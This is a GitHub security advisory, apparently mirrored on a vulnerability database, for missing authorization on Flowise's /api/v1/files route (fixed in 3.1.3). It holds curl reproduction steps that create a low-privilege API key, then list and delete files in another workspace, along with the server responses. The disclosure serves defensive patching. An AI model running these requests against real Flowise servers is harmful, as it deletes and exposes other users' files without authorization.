GHSA-WP74-F5HH-5F3R
Vulnerability from github – Published: 2026-08-04 14:54 – Updated: 2026-08-04 14:54summary:
In Flowise, the /api/v1/files route is protected only by the feat:files feature gate and does not enforce checkPermission(...) on either GET or DELETE. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.
details:
The /files route is mounted with IdentityManager.checkFeatureByPlan('feat:files') only and has no additional permission middleware. In the controller:
getAllFilesuses onlyreq.user.activeOrganizationIdand callsgetFilesListFromStorage(activeOrganizationId), which recursively lists files under the organization storage rootdeleteFilereadsactiveWorkspaceId, but only uses it for storage quota bookkeeping; the actual deletion is performed usingactiveOrganizationId + user-controlled path
As a result, the API key’s permissions and activeWorkspaceId are not used to restrict file access.
In the local test environment,an API key bound to workspace 1592b32a-a11b-4996-80b6-e1c4c2969d88 with only ["tools:view"] was created, then successfully:
- called
GET /api/v1/filesand received200 OK - listed a test file stored under a different workspace,
f92a9a4d-392e-4db2-af82-d14e1d553446 - called
DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txtand received200 OK - confirmed the file was removed by re-querying the file list
impact:
Any low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.
reproduction steps:
- Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:
curl -i -b tamako.cookie \
-H 'x-request-from: internal' \
-H 'Content-Type: application/json' \
-d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \
http://localhost:8080/api/v1/apikey
-
Record the returned API key. In my local test, the key was:
-
ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E -
Prepare a test file under a different workspace within the same organization, for example:
-
f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt -
Use the low-privileged API key to list files:
curl -i \
-H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
http://localhost:8080/api/v1/files
- Observe a
200 OKresponse that includes a file from another workspace, for example:
[{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}]
- Use the same API key to delete that file:
curl -i -X DELETE --get \
-H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
--data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \
http://localhost:8080/api/v1/files
- Observe a
200 OKresponse:
{"message":"file_deleted"}
- Call
GET /api/v1/filesagain and confirm that the file is no longer present.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69252"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T14:54:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# summary:\nIn Flowise, the `/api/v1/files` route is protected only by the `feat:files` feature gate and does not enforce `checkPermission(...)` on either `GET` or `DELETE`. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.\n\n# details:\nThe `/files` route is mounted with `IdentityManager.checkFeatureByPlan(\u0027feat:files\u0027)` only and has no additional permission middleware. In the controller:\n\n- `getAllFiles` uses only `req.user.activeOrganizationId` and calls `getFilesListFromStorage(activeOrganizationId)`, which recursively lists files under the organization storage root\n- `deleteFile` reads `activeWorkspaceId`, but only uses it for storage quota bookkeeping; the actual deletion is performed using `activeOrganizationId + user-controlled path`\n\nAs a result, the API key\u2019s `permissions` and `activeWorkspaceId` are not used to restrict file access. \nIn the local test environment,an API key bound to workspace `1592b32a-a11b-4996-80b6-e1c4c2969d88` with only `[\"tools:view\"]` was created, then successfully:\n\n- called `GET /api/v1/files` and received `200 OK`\n- listed a test file stored under a different workspace, `f92a9a4d-392e-4db2-af82-d14e1d553446`\n- called `DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt` and received `200 OK`\n- confirmed the file was removed by re-querying the file list\n\n# impact:\nAny low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.\n\n# reproduction steps:\n\n1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:\n\n```bash\ncurl -i -b tamako.cookie \\\n -H \u0027x-request-from: internal\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"keyName\":\"poc-files-noperm\",\"permissions\":[\"tools:view\"]}\u0027 \\\n http://localhost:8080/api/v1/apikey\n```\n\n2. Record the returned API key. In my local test, the key was:\n\n- `ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E`\n\n3. Prepare a test file under a different workspace within the same organization, for example:\n\n- `f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt`\n\n4. Use the low-privileged API key to list files:\n\n```bash\ncurl -i \\\n -H \u0027Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E\u0027 \\\n http://localhost:8080/api/v1/files\n```\n\n5. Observe a `200 OK` response that includes a file from another workspace, for example:\n\n```json\n[{\"name\":\"poc-cross-workspace.txt\",\"path\":\"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt\",\"size\":19}]\n```\n\n6. Use the same API key to delete that file:\n\n```bash\ncurl -i -X DELETE --get \\\n -H \u0027Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E\u0027 \\\n --data-urlencode \u0027path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt\u0027 \\\n http://localhost:8080/api/v1/files\n```\n\n7. Observe a `200 OK` response:\n\n```json\n{\"message\":\"file_deleted\"}\n```\n\n8. Call `GET /api/v1/files` again and confirm that the file is no longer present.",
"id": "GHSA-wp74-f5hh-5f3r",
"modified": "2026-08-04T14:54:03Z",
"published": "2026-08-04T14:54:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wp74-f5hh-5f3r"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6435"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/bc22bf8baec95b6a3d6e1b3563b4f03491cd6fbb"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.